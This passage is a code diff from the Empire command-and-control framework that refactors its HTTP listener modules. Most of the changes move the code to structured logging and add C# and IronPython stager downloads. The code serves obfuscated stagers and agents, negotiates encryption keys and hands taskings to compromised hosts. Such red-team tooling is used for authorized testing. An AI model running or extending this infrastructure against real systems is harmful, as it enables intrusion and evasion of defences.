- stagerURI = listenerOptions["StagerURI"]["Value"]
userAgent = listenerOptions["UserAgent"]["Value"]
listenerName = listenerOptions["Name"]["Value"]
proxy = listenerOptions["Proxy"]["Value"]
proxyCreds = listenerOptions["ProxyCreds"]["Value"]
- self.template_dir = self.mainMenu.installPath + "/data/listeners/templates/"
+ if "pytest" in sys.modules:
+ # Let's not start the server if we're running tests.
+ while True:
+ time.sleep(1)
+
app = Flask(__name__, template_folder=self.template_dir)
self.app = app
@@ -871,7 +856,7 @@ def start_server(self, listenerOptions):
@app.route("/download//")
@app.route("/download//")
def send_stager(stager, options=None):
- if "po" in stager:
+ if "powershell" == stager:
if options:
options = base64.b64decode(options).decode("UTF-8")
options = options.split(":")
@@ -895,7 +880,7 @@ def send_stager(stager, options=None):
proxy=proxy,
proxyCreds=proxyCreds,
obfuscate=obfuscate,
- obfuscationCommand=obfuscate_command,
+ obfuscation_command=obfuscate_command,
bypasses=bypasses,
)
return launcher
@@ -911,7 +896,7 @@ def send_stager(stager, options=None):
)
return launcher
- elif "py" in stager:
+ elif "python" == stager:
launcher = self.mainMenu.stagers.generate_launcher(
listenerName,
language="python",
@@ -922,6 +907,36 @@ def send_stager(stager, options=None):
)
return launcher
+ elif "ironpython" == stager:
+ launcher = self.mainMenu.stagers.generate_launcher(
+ listenerName,
+ language="python",
+ encode=False,
+ userAgent=userAgent,
+ proxy=proxy,
+ proxyCreds=proxyCreds,
+ )
+
+ directory = self.mainMenu.stagers.generate_python_exe(
+ launcher, dot_net_version="net40"
+ )
+ with open(directory, "rb") as f:
+ code = f.read()
+ return code
+
+ elif "csharp" == stager:
+ filename = self.mainMenu.stagers.generate_launcher(
+ listenerName,
+ language="csharp",
+ encode=False,
+ userAgent=userAgent,
+ proxy=proxy,
+ proxyCreds=proxyCreds,
+ )
+ directory = f"{self.mainMenu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/net35/{filename}.exe"
+ with open(directory, "rb") as f:
+ code = f.read()
+ return code
else:
return make_response(self.default_response(), 404)
@@ -932,11 +947,8 @@ def check_ip():
"""
if not self.mainMenu.agents.is_ip_allowed(request.remote_addr):
listenerName = self.options["Name"]["Value"]
- message = "[!] {} on the blacklist/not on the whitelist requested resource".format(
- request.remote_addr
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
+ message = f"{listenerName}: {request.remote_addr} on the blacklist/not on the whitelist requested resource"
+ self.instance_log.info(message)
return make_response(self.default_response(), 404)
@app.after_request
@@ -993,11 +1005,8 @@ def handle_get(request_uri):
clientIP = request.remote_addr
listenerName = self.options["Name"]["Value"]
- message = "[*] GET request for {}/{} from {}".format(
- request.host, request_uri, clientIP
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
+ message = f"{listenerName}: GET request for {request.host}/{request_uri} from {clientIP}"
+ self.instance_log.info(message)
routingPacket = None
cookie = request.headers.get("Cookie")
@@ -1008,20 +1017,15 @@ def handle_get(request_uri):
# NOTE: this can be easily moved to a paramter, another cookie value, etc.
if self.session_cookie in cookie:
listenerName = self.options["Name"]["Value"]
- message = "[*] GET cookie value from {} : {}".format(
- clientIP, cookie
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(
- signal, sender="listeners/http/{}".format(listenerName)
- )
+ message = f"{listenerName}: GET cookie value from {clientIP} : {cookie}"
+ self.instance_log.info(message)
cookieParts = cookie.split(";")
for part in cookieParts:
if part.startswith(self.session_cookie):
base64RoutingPacket = part[part.find("=") + 1 :]
# decode the routing packet base64 value in the cookie
routingPacket = base64.b64decode(base64RoutingPacket)
- except Exception as e:
+ except Exception:
routingPacket = None
pass
@@ -1032,50 +1036,42 @@ def handle_get(request_uri):
stagingKey, routingPacket, listenerOptions, clientIP
)
if dataResults and len(dataResults) > 0:
- for (language, results) in dataResults:
+ for language, results in dataResults:
if results:
if isinstance(results, str):
results = results.encode("UTF-8")
if results == b"STAGE0":
# handle_agent_data() signals that the listener should return the stager.ps1 code
# step 2 of negotiation -> return stager.ps1 (stage 1)
- listenerName = self.options["Name"]["Value"]
- message = (
- "[*] Sending {} stager (stage 1) to {}".format(
- language, clientIP
+ message = f"{listenerName}: Sending {language} stager (stage 1) to {clientIP}"
+ self.instance_log.info(message)
+ log.info(message)
+
+ with SessionLocal() as db:
+ obf_config = self.mainMenu.obfuscationv2.get_obfuscation_config(
+ db, language
+ )
+ stage = self.generate_stager(
+ language=language,
+ listenerOptions=listenerOptions,
+ obfuscate=False
+ if not obf_config
+ else obf_config.enabled,
+ obfuscation_command=""
+ if not obf_config
+ else obf_config.command,
)
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal,
- sender="listeners/http/{}".format(listenerName),
- )
- stage = self.generate_stager(
- language=language,
- listenerOptions=listenerOptions,
- obfuscate=self.mainMenu.obfuscate,
- obfuscationCommand=self.mainMenu.obfuscateCommand,
- )
return make_response(stage, 200)
elif results.startswith(b"ERROR:"):
listenerName = self.options["Name"]["Value"]
- message = "[!] Error from agents.handle_agent_data() for {} from {}: {}".format(
- request_uri, clientIP, results
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal,
- sender="listeners/http/{}".format(listenerName),
- )
+ message = f"{listenerName}: Error from agents.handle_agent_data() for {request_uri} from {clientIP}: {results}"
+ self.instance_log.error(message)
if b"not in cache" in results:
# signal the client to restage
- print(
- helpers.color(
- "[*] Orphaned agent from %s, signaling restaging"
- % (clientIP)
- )
+ log.info(
+ f"{listenerName}: Orphaned agent from {clientIP}, signaling restaging"
)
return make_response(self.default_response(), 401)
else:
@@ -1084,30 +1080,20 @@ def handle_get(request_uri):
else:
# actual taskings
listenerName = self.options["Name"]["Value"]
- message = "[*] Agent from {} retrieved taskings".format(
- clientIP
- )
- signal = json.dumps(
- {"print": False, "message": message}
- )
- dispatcher.send(
- signal,
- sender="listeners/http/{}".format(listenerName),
- )
+ message = f"{listenerName}: Agent from {clientIP} retrieved taskings"
+ self.instance_log.info(message)
return make_response(results, 200)
else:
- # dispatcher.send("[!] Results are None...", sender='listeners/http')
+ message = f"{listenerName}: Results are None for {request_uri} from {clientIP}"
+ self.instance_log.debug(message)
return make_response(self.default_response(), 200)
else:
return make_response(self.default_response(), 200)
else:
listenerName = self.options["Name"]["Value"]
- message = "[!] {} requested by {} with no routing packet.".format(
- request_uri, clientIP
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
+ message = f"{listenerName}: {request_uri} requested by {clientIP} with no routing packet."
+ self.instance_log.error(message)
return make_response(self.default_response(), 404)
@app.route("/", methods=["POST"])
@@ -1117,15 +1103,11 @@ def handle_post(request_uri):
"""
stagingKey = listenerOptions["StagingKey"]["Value"]
clientIP = request.remote_addr
-
requestData = request.get_data()
listenerName = self.options["Name"]["Value"]
- message = "[*] POST request data length from {} : {}".format(
- clientIP, len(requestData)
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
+ message = f"{listenerName}: POST request data length from {clientIP} : {len(requestData)}"
+ self.instance_log.info(message)
# the routing packet should be at the front of the binary request.data
# NOTE: this can also go into a cookie/etc.
@@ -1133,7 +1115,7 @@ def handle_post(request_uri):
stagingKey, requestData, listenerOptions, clientIP
)
if dataResults and len(dataResults) > 0:
- for (language, results) in dataResults:
+ for language, results in dataResults:
if isinstance(results, str):
results = results.encode("UTF-8")
@@ -1148,13 +1130,9 @@ def handle_post(request_uri):
]
listenerName = self.options["Name"]["Value"]
- message = "[*] Sending agent (stage 2) to {} at {}".format(
- sessionID, clientIP
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal, sender="listeners/http/{}".format(listenerName)
- )
+ message = f"{listenerName}: Sending agent (stage 2) to {sessionID} at {clientIP}"
+ self.instance_log.info(message)
+ log.info(message)
hopListenerName = request.headers.get("Hop-Name")
@@ -1167,11 +1145,16 @@ def handle_post(request_uri):
tempListenerOptions["Host"][
"Value"
] = hopListener.options["Host"]["Value"]
+ with SessionLocal.begin() as db:
+ db_agent = self.mainMenu.agentsv2.get_by_id(
+ db, sessionID
+ )
+ db_agent.listener = hopListenerName
else:
tempListenerOptions = listenerOptions
session_info = (
- Session()
+ SessionLocal()
.query(models.Agent)
.filter(models.Agent.session_id == sessionID)
.first()
@@ -1182,43 +1165,47 @@ def handle_post(request_uri):
version = ""
# step 6 of negotiation -> server sends patched agent.ps1/agent.py
- agentCode = self.generate_agent(
- language=language,
- listenerOptions=tempListenerOptions,
- obfuscate=self.mainMenu.obfuscate,
- obfuscationCommand=self.mainMenu.obfuscateCommand,
- version=version,
- )
- encryptedAgent = encryption.aes_encrypt_then_hmac(
- sessionKey, agentCode
- )
- # TODO: wrap ^ in a routing packet?
+ with SessionLocal() as db:
+ obf_config = (
+ self.mainMenu.obfuscationv2.get_obfuscation_config(
+ db, language
+ )
+ )
+ agentCode = self.generate_agent(
+ language=language,
+ listenerOptions=tempListenerOptions,
+ obfuscate=False
+ if not obf_config
+ else obf_config.enabled,
+ obfuscation_command=""
+ if not obf_config
+ else obf_config.command,
+ version=version,
+ )
+
+ if language.lower() in ["python", "ironpython"]:
+ sessionKey = bytes.fromhex(sessionKey)
- return make_response(encryptedAgent, 200)
+ encryptedAgent = encryption.aes_encrypt_then_hmac(
+ sessionKey, agentCode
+ )
+ # TODO: wrap ^ in a routing packet?
+
+ return make_response(encryptedAgent, 200)
elif results[:10].lower().startswith(b"error") or results[
:10
].lower().startswith(b"exception"):
listenerName = self.options["Name"]["Value"]
- message = (
- "[!] Error returned for results by {} : {}".format(
- clientIP, results
- )
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal, sender="listeners/http/{}".format(listenerName)
- )
+ message = f"{listenerName}: Error returned for results by {clientIP} : {results}"
+ self.instance_log.error(message)
return make_response(self.default_response(), 404)
elif results.startswith(b"VALID"):
listenerName = self.options["Name"]["Value"]
- message = "[*] Valid results returned by {}".format(
- clientIP
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(
- signal, sender="listeners/http/{}".format(listenerName)
+ message = (
+ f"{listenerName}: Valid results returned by {clientIP}"
)
+ self.instance_log.info(message)
return make_response(self.default_response(), 200)
else:
return make_response(results, 200)
@@ -1234,7 +1221,6 @@ def handle_post(request_uri):
if certPath.strip() != "" and host.startswith("https"):
certPath = os.path.abspath(certPath)
- pyversion = sys.version_info
# support any version of tls
pyversion = sys.version_info
@@ -1259,13 +1245,11 @@ def handle_post(request_uri):
app.run(host=bindIP, port=int(port), threaded=True)
except Exception as e:
- print(
- helpers.color("[!] Listener startup on port %s failed: %s " % (port, e))
- )
listenerName = self.options["Name"]["Value"]
- message = "[!] Listener startup on port {} failed: {}".format(port, e)
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
+ log.error(
+ f"{listenerName}: Listener startup on port {port} failed: {e}",
+ exc_info=True,
+ )
def start(self, name=""):
"""
@@ -1296,14 +1280,11 @@ def shutdown(self, name=""):
Terminates the server thread stored in the self.threads dictionary,
keyed by the listener name.
"""
-
if name and name != "":
- print(helpers.color("[!] Killing listener '%s'" % (name)))
- self.threads[name].kill()
+ to_kill = name
else:
- print(
- helpers.color(
- "[!] Killing listener '%s'" % (self.options["Name"]["Value"])
- )
- )
- self.threads[self.options["Name"]["Value"]].kill()
+ to_kill = self.options["Name"]["Value"]
+
+ self.instance_log.info(f"{to_kill}: shutting down...")
+ log.info(f"{to_kill}: shutting down...")
+ self.threads[to_kill].kill()
diff --git a/empire/server/listeners/http_com.py b/empire/server/listeners/http_com.py
index 98105b6fd..fcbb45b98 100755
--- a/empire/server/listeners/http_com.py
+++ b/empire/server/listeners/http_com.py
@@ -1,8 +1,5 @@
-from __future__ import print_function
-
import base64
import copy
-import json
import logging
import os
import random
@@ -10,28 +7,41 @@
import sys
import time
from builtins import object, str
-from typing import List
+from typing import List, Optional, Tuple
-from flask import Flask, make_response, render_template, request, send_from_directory
-from pydispatch import dispatcher
+from flask import Flask, make_response, request, send_from_directory
from werkzeug.serving import WSGIRequestHandler
from empire.server.common import encryption, helpers, packets, templating
-from empire.server.utils import data_util, listener_util
+from empire.server.common.empire import MainMenu
+from empire.server.core.db.base import SessionLocal
+from empire.server.utils import data_util, listener_util, log_util
+from empire.server.utils.module_util import handle_validate_message
+LOG_NAME_PREFIX = __name__
+log = logging.getLogger(__name__)
-class Listener(object):
- def __init__(self, mainMenu, params=[]):
+class Listener(object):
+ def __init__(self, mainMenu: MainMenu, params=[]):
self.info = {
"Name": "HTTP[S] COM",
- "Author": ["@harmj0y"],
+ "Authors": [
+ {
+ "Name": "Will Schroeder",
+ "Handle": "@harmj0y",
+ "Link": "https://twitter.com/harmj0y",
+ }
+ ],
"Description": (
"Starts a http[s] listener (PowerShell only) that uses a GET/POST approach "
"using a hidden Internet Explorer COM object. If using HTTPS, valid certificate required."
),
"Category": ("client_server"),
"Comments": [],
+ "Software": "",
+ "Techniques": [],
+ "Tactics": [],
}
# any options needed by the stager, settable during runtime
@@ -146,13 +156,17 @@ def __init__(self, mainMenu, params=[]):
# randomize the length of the default_response and index_page headers to evade signature based scans
self.header_offset = random.randint(0, 64)
+ self.template_dir = self.mainMenu.installPath + "/data/listeners/templates/"
+
+ self.instance_log = log
+
def default_response(self):
"""
Returns an IIS 7.5 404 not found page.
"""
return open(f"{self.template_dir }/default.html", "r").read()
- def validate_options(self):
+ def validate_options(self) -> Tuple[bool, Optional[str]]:
"""
Validate all options for this listener.
"""
@@ -162,26 +176,22 @@ def validate_options(self):
for a in self.options["DefaultProfile"]["Value"].split("|")[0].split(",")
]
- for key in self.options:
- if self.options[key]["Required"] and (
- str(self.options[key]["Value"]).strip() == ""
- ):
- print(helpers.color('[!] Option "%s" is required.' % (key)))
- return False
# If we've selected an HTTPS listener without specifying CertPath, let us know.
if (
self.options["Host"]["Value"].startswith("https")
and self.options["CertPath"]["Value"] == ""
):
- print(helpers.color("[!] HTTPS selected but no CertPath specified."))
- return False
- return True
+ return handle_validate_message(
+ "[!] HTTPS selected but no CertPath specified."
+ )
+
+ return True, None
def generate_launcher(
self,
encode=True,
obfuscate=False,
- obfuscationCommand="",
+ obfuscation_command="",
userAgent="default",
proxy="default",
proxyCreds="default",
@@ -196,22 +206,19 @@ def generate_launcher(
"""
bypasses = [] if bypasses is None else bypasses
if not language:
- print(
- helpers.color(
- "[!] listeners/http_com generate_launcher(): no language specified!"
- )
- )
+ log.error("listeners/http_com generate_launcher(): no language specified!")
+ return None
+ # Previously, we had to do a lookup for the listener and check through threads on the instance.
+ # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified
+ # further, but for now keeping as is since 5.0 has enough rewrites as it is.
if (
- listenerName
- and (listenerName in self.threads)
- and (listenerName in self.mainMenu.listeners.activeListeners)
- ):
-
+ True
+ ): # The true check is just here to keep the indentation consistent with the old code.
+ active_listener = self
# extract the set options for this instantiated listener
- listenerOptions = self.mainMenu.listeners.activeListeners[listenerName][
- "options"
- ]
+ listenerOptions = active_listener.options
+
host = listenerOptions["Host"]["Value"]
launcher = listenerOptions["Launcher"]["Value"]
staging_key = listenerOptions["StagingKey"]["Value"]
@@ -307,14 +314,13 @@ def generate_launcher(
stager = data_util.ps_convert_to_oneliner(stager)
if obfuscate:
- stager = data_util.obfuscate(
- self.mainMenu.installPath,
+ stager = self.mainMenu.obfuscationv2.obfuscate(
stager,
- obfuscationCommand=obfuscationCommand,
+ obfuscation_command=obfuscation_command,
)
# base64 encode the stager and return it
if encode and (
- (not obfuscate) or ("launcher" not in obfuscationCommand.lower())
+ (not obfuscate) or ("launcher" not in obfuscation_command.lower())
):
return helpers.powershell_launcher(stager, launcher)
else:
@@ -322,26 +328,17 @@ def generate_launcher(
return stager
else:
- print(
- helpers.color(
- "[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module."
- )
+ log.error(
+ "listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module."
)
- else:
- print(
- helpers.color(
- "[!] listeners/http_com generate_launcher(): invalid listener name specification!"
- )
- )
-
def generate_stager(
self,
listenerOptions,
encode=False,
encrypt=True,
obfuscate=False,
- obfuscationCommand="",
+ obfuscation_command="",
language=None,
):
"""
@@ -349,11 +346,7 @@ def generate_stager(
"""
if not language:
- print(
- helpers.color(
- "[!] listeners/http_com generate_stager(): no language specified!"
- )
- )
+ log.error("listeners/http_com generate_stager(): no language specified!")
return None
profile = listenerOptions["DefaultProfile"]["Value"]
@@ -391,7 +384,7 @@ def generate_stager(
stager = template.render(template_options)
# Get the random function name generated at install and patch the stager with the proper function name
- stager = data_util.keyword_obfuscation(stager)
+ stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)
# make sure the server ends with "/"
if not host.endswith("/"):
@@ -419,10 +412,9 @@ def generate_stager(
unobfuscated_stager = listener_util.remove_lines_comments(stager)
if obfuscate:
- unobfuscated_stager = data_util.obfuscate(
- self.mainMenu.installPath,
+ unobfuscated_stager = self.mainMenu.obfuscationv2.obfuscate(
unobfuscated_stager,
- obfuscationCommand=obfuscationCommand,
+ obfuscation_command=obfuscation_command,
)
# base64 encode the stager and return it
if encode:
@@ -437,10 +429,8 @@ def generate_stager(
return unobfuscated_stager
else:
- print(
- helpers.color(
- "[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module."
- )
+ log.error(
+ "listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module."
)
def generate_agent(
@@ -448,7 +438,7 @@ def generate_agent(
listenerOptions,
language=None,
obfuscate=False,
- obfuscationCommand="",
+ obfuscation_command="",
version="",
):
"""
@@ -456,11 +446,7 @@ def generate_agent(
"""
if not language:
- print(
- helpers.color(
- "[!] listeners/http_com generate_agent(): no language specified!"
- )
- )
+ log.error("listeners/http_com generate_agent(): no language specified!")
return None
language = language.lower()
@@ -472,13 +458,12 @@ def generate_agent(
b64DefaultResponse = base64.b64encode(self.default_response().encode("UTF-8"))
if language == "powershell":
-
f = open(self.mainMenu.installPath + "/data/agent/agent.ps1")
code = f.read()
f.close()
# Get the random function name generated at install and patch the stager with the proper function name
- code = data_util.keyword_obfuscation(code)
+ code = self.mainMenu.obfuscationv2.obfuscate_keywords(code)
# strip out comments and blank lines
code = helpers.strip_powershell_comments(code)
@@ -503,18 +488,15 @@ def generate_agent(
"$KillDate,", "$KillDate = '" + str(killDate) + "',"
)
if obfuscate:
- code = data_util.obfuscate(
- self.mainMenu.installPath,
+ code = self.mainMenu.obfuscationv2.obfuscate(
code,
- obfuscationCommand=obfuscationCommand,
+ obfuscation_command=obfuscation_command,
)
return code
else:
- print(
- helpers.color(
- "[!] listeners/http_com generate_agent(): invalid language specification, only 'powershell' is currently supported for this module."
- )
+ log.error(
+ "listeners/http_com generate_agent(): invalid language specification, only 'powershell' is currently supported for this module."
)
def generate_comms(self, listenerOptions, language=None):
@@ -545,23 +527,19 @@ def generate_comms(self, listenerOptions, language=None):
return comms
else:
- print(
- helpers.color(
- "[!] listeners/http_com generate_comms(): invalid language specification, only 'powershell' is currently supported for this module."
- )
+ log.error(
+ "listeners/http_com generate_comms(): invalid language specification, only 'powershell' is currently supported for this module."
)
else:
- print(
- helpers.color(
- "[!] listeners/http_com generate_comms(): no language specified!"
- )
- )
+ log.error("listeners/http_com generate_comms(): no language specified!")
def start_server(self, listenerOptions):
"""
Threaded function that actually starts up the Flask server.
"""
-
+ self.instance_log = log_util.get_listener_logger(
+ LOG_NAME_PREFIX, self.options["Name"]["Value"]
+ )
# make a copy of the currently set listener options for later stager/agent generation
listenerOptions = copy.deepcopy(listenerOptions)
@@ -575,7 +553,6 @@ def start_server(self, listenerOptions):
port = listenerOptions["Port"]["Value"]
stagingKey = listenerOptions["StagingKey"]["Value"]
- self.template_dir = self.mainMenu.installPath + "/data/listeners/templates/"
app = Flask(__name__, template_folder=self.template_dir)
self.app = app
@@ -606,7 +583,7 @@ def send_stager(stager, options=None):
language="powershell",
encode=False,
obfuscate=obfuscate,
- obfuscationCommand=obfuscate_command,
+ obfuscation_command=obfuscate_command,
bypasses=bypasses,
)
return launcher
@@ -628,13 +605,10 @@ def check_ip():
"""
if not self.mainMenu.agents.is_ip_allowed(request.remote_addr):
listenerName = self.options["Name"]["Value"]
- message = "[!] {} on the blacklist/not on the whitelist requested resource".format(
- request.remote_addr
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal, sender="listeners/http_com/{}".format(listenerName)
- )
+ message = f"{listenerName}: {request.remote_addr} on the blacklist/not on the whitelist requested resource"
+ self.instance_log.debug(message)
+ log.debug(message)
+
return make_response(self.default_response(), 404)
@app.after_request
@@ -672,7 +646,6 @@ def serve_index():
Return default server web page if user navigates to index.
"""
- static_dir = self.mainMenu.installPath + "/data/misc/"
return make_response(self.index_page(), 200)
@app.route("/", methods=["GET"])
@@ -693,23 +666,19 @@ def handle_get(request_uri):
clientIP = request.remote_addr
listenerName = self.options["Name"]["Value"]
- message = "[*] GET request for {}/{} from {}".format(
- request.host, request_uri, clientIP
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName))
+ message = f"{listenerName}: GET request for {request.host}/{request_uri} from {clientIP}"
+ self.instance_log.info(message)
routingPacket = None
reqHeader = request.headers.get(listenerOptions["RequestHeader"]["Value"])
if reqHeader and reqHeader != "":
try:
-
if reqHeader.startswith("b'"):
tmp = repr(reqHeader)[2:-1].replace("'", "").encode("UTF-8")
else:
tmp = reqHeader.encode("UTF-8")
routingPacket = base64.b64decode(tmp)
- except Exception as e:
+ except Exception:
routingPacket = None
# pass
@@ -723,49 +692,42 @@ def handle_get(request_uri):
)
if dataResults and len(dataResults) > 0:
- for (language, results) in dataResults:
+ for language, results in dataResults:
if results:
if results == "STAGE0":
# handle_agent_data() signals that the listener should return the stager.ps1 code
# step 2 of negotiation -> return stager.ps1 (stage 1)
listenerName = self.options["Name"]["Value"]
- message = (
- "[*] Sending {} stager (stage 1) to {}".format(
- language, clientIP
+ message = f"{listenerName}: Sending {language} stager (stage 1) to {clientIP}"
+ self.instance_log.info(message)
+ log.info(message)
+
+ with SessionLocal() as db:
+ obf_config = self.mainMenu.obfuscationv2.get_obfuscation_config(
+ db, language
+ )
+ stage = self.generate_stager(
+ language=language,
+ listenerOptions=listenerOptions,
+ obfuscate=False
+ if not obf_config
+ else obf_config.enabled,
+ obfuscation_command=""
+ if not obf_config
+ else obf_config.command,
)
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal,
- sender="listeners/http_com/{}".format(listenerName),
- )
- stage = self.generate_stager(
- language=language,
- listenerOptions=listenerOptions,
- obfuscate=self.mainMenu.obfuscate,
- obfuscationCommand=self.mainMenu.obfuscateCommand,
- )
return make_response(base64.b64encode(stage), 200)
elif results.startswith(b"ERROR:"):
listenerName = self.options["Name"]["Value"]
- message = "[!] Error from agents.handle_agent_data() for {} from {}: {}".format(
- request_uri, clientIP, results
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal,
- sender="listeners/http_com/{}".format(listenerName),
- )
+ message = f"{listenerName}: Error from agents.handle_agent_data() for {request_uri} from {clientIP}: {results}"
+ self.instance_log.error(message)
if "not in cache" in results:
# signal the client to restage
- print(
- helpers.color(
- "[*] Orphaned agent from %s, signaling restaging"
- % (clientIP)
- )
+ log.info(
+ f"Orphaned agent from {clientIP}, signaling restaging"
)
return make_response(self.default_response(), 401)
else:
@@ -774,32 +736,21 @@ def handle_get(request_uri):
else:
# actual taskings
listenerName = self.options["Name"]["Value"]
- message = "[*] Agent from {} retrieved taskings".format(
- clientIP
- )
- signal = json.dumps(
- {"print": False, "message": message}
- )
- dispatcher.send(
- signal,
- sender="listeners/http_com/{}".format(listenerName),
- )
+ message = f"Agent from {clientIP} retrieved taskings"
+ self.instance_log.info(message)
return make_response(base64.b64encode(results), 200)
else:
- # dispatcher.send("[!] Results are None...", sender='listeners/http_com')
+ self.instance_log.debug(
+ f"{listenerName}: Results are None..."
+ )
return make_response(self.default_response(), 404)
else:
return make_response(self.default_response(), 404)
else:
listenerName = self.options["Name"]["Value"]
- message = "[!] {} requested by {} with no routing packet.".format(
- request_uri, clientIP
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal, sender="listeners/http_com/{}".format(listenerName)
- )
+ message = f"{listenerName}: {request_uri} requested by {clientIP} with no routing packet."
+ self.instance_log.error(message)
return make_response(self.default_response(), 404)
@app.route("/", methods=["POST"])
@@ -815,14 +766,14 @@ def handle_post(request_uri):
# NOTE: this can also go into a cookie/etc.
try:
requestData = base64.b64decode(request.get_data())
- except:
+ except Exception:
requestData = None
dataResults = self.mainMenu.agents.handle_agent_data(
stagingKey, requestData, listenerOptions, clientIP
)
if dataResults and len(dataResults) > 0:
- for (language, results) in dataResults:
+ for language, results in dataResults:
if isinstance(results, str):
results = results.encode("UTF-8")
if results:
@@ -834,52 +785,53 @@ def handle_post(request_uri):
]
listenerName = self.options["Name"]["Value"]
- message = "[*] Sending agent (stage 2) to {} at {}".format(
- sessionID, clientIP
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal,
- sender="listeners/http_com/{}".format(listenerName),
- )
+ message = f"{listenerName}: Sending agent (stage 2) to {sessionID} at {clientIP}"
+ self.instance_log.info(message)
+ log.info(message)
# step 6 of negotiation -> server sends patched agent.ps1/agent.py
- agentCode = self.generate_agent(
- language=language,
- listenerOptions=listenerOptions,
- obfuscate=self.mainMenu.obfuscate,
- obfuscationCommand=self.mainMenu.obfuscateCommand,
- )
- encrypted_agent = encryption.aes_encrypt_then_hmac(
- sessionKey, agentCode
- )
- # TODO: wrap ^ in a routing packet?
+ with SessionLocal() as db:
+ obf_config = (
+ self.mainMenu.obfuscationv2.get_obfuscation_config(
+ db, language
+ )
+ )
+ agentCode = self.generate_agent(
+ language=language,
+ listenerOptions=listenerOptions,
+ obfuscate=False
+ if not obf_config
+ else obf_config.enabled,
+ obfuscation_command=""
+ if not obf_config
+ else obf_config.command,
+ )
- return make_response(base64.b64encode(encrypted_agent), 200)
+ if language.lower() in ["python", "ironpython"]:
+ sessionKey = bytes.fromhex(sessionKey)
+
+ encrypted_agent = encryption.aes_encrypt_then_hmac(
+ sessionKey, agentCode
+ )
+ # TODO: wrap ^ in a routing packet?
+
+ return make_response(
+ base64.b64encode(encrypted_agent), 200
+ )
elif results[:10].lower().startswith(b"error") or results[
:10
].lower().startswith(b"exception"):
listenerName = self.options["Name"]["Value"]
- message = (
- "[!] Error returned for results by {} : {}".format(
- clientIP, results
- )
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal,
- sender="listeners/http_com/{}".format(listenerName),
- )
+ message = f"{listenerName}: Error returned for results by {clientIP} : {results}"
+ self.instance_log.error(message)
return make_response(self.default_response(), 200)
elif results == b"VALID":
listenerName = self.options["Name"]["Value"]
- message = "[*] Valid results return by {}".format(clientIP)
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(
- signal,
- sender="listeners/http_com/{}".format(listenerName),
+ message = (
+ f"{listenerName}: Valid results return by {clientIP}"
)
+ self.instance_log.info(message)
return make_response(self.default_response(), 200)
else:
return make_response(base64.b64encode(results), 200)
@@ -920,10 +872,11 @@ def handle_post(request_uri):
except Exception as e:
listenerName = self.options["Name"]["Value"]
- message = "[!] Listener startup on port {} failed: {}".format(port, e)
- message += "[!] Ensure the folder specified in CertPath exists and contains your pem and private key file."
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName))
+ message1 = f"{listenerName}: Listener startup on port {port} failed: {e}"
+ message2 = f"{listenerName}: Ensure the folder specified in CertPath exists and contains your pem and private key file."
+
+ self.instance_log.error(message1, exc_info=True)
+ self.instance_log.error(message2, exc_info=True)
def start(self, name=""):
"""
@@ -954,14 +907,11 @@ def shutdown(self, name=""):
Terminates the server thread stored in the self.threads dictionary,
keyed by the listener name.
"""
-
if name and name != "":
- print(helpers.color("[!] Killing listener '%s'" % (name)))
- self.threads[name].kill()
+ to_kill = name
else:
- print(
- helpers.color(
- "[!] Killing listener '%s'" % (self.options["Name"]["Value"])
- )
- )
- self.threads[self.options["Name"]["Value"]].kill()
+ to_kill = self.options["Name"]["Value"]
+
+ self.instance_log.info(f"{to_kill}: shutting down...")
+ log.info(f"{to_kill}: shutting down...")
+ self.threads[to_kill].kill()
diff --git a/empire/server/listeners/http_foreign.py b/empire/server/listeners/http_foreign.py
index 5b766620f..affc033ad 100755
--- a/empire/server/listeners/http_foreign.py
+++ b/empire/server/listeners/http_foreign.py
@@ -1,25 +1,36 @@
-from __future__ import print_function
-
import base64
+import logging
import os
import random
from builtins import object, str
from textwrap import dedent
-from typing import List
+from typing import List, Optional, Tuple
from empire.server.common import helpers, packets, templating
+from empire.server.common.empire import MainMenu
from empire.server.utils import data_util, listener_util
+LOG_NAME_PREFIX = __name__
+log = logging.getLogger(__name__)
-class Listener(object):
- def __init__(self, mainMenu, params=[]):
+class Listener(object):
+ def __init__(self, mainMenu: MainMenu, params=[]):
self.info = {
"Name": "HTTP[S]",
- "Author": ["@harmj0y"],
+ "Authors": [
+ {
+ "Name": "Will Schroeder",
+ "Handle": "@harmj0y",
+ "Link": "https://twitter.com/harmj0y",
+ }
+ ],
"Description": ("Starts a 'foreign' http[s] Empire listener."),
"Category": ("client_server"),
"Comments": [],
+ "Software": "",
+ "Techniques": [],
+ "Tactics": [],
}
# any options needed by the stager, settable during runtime
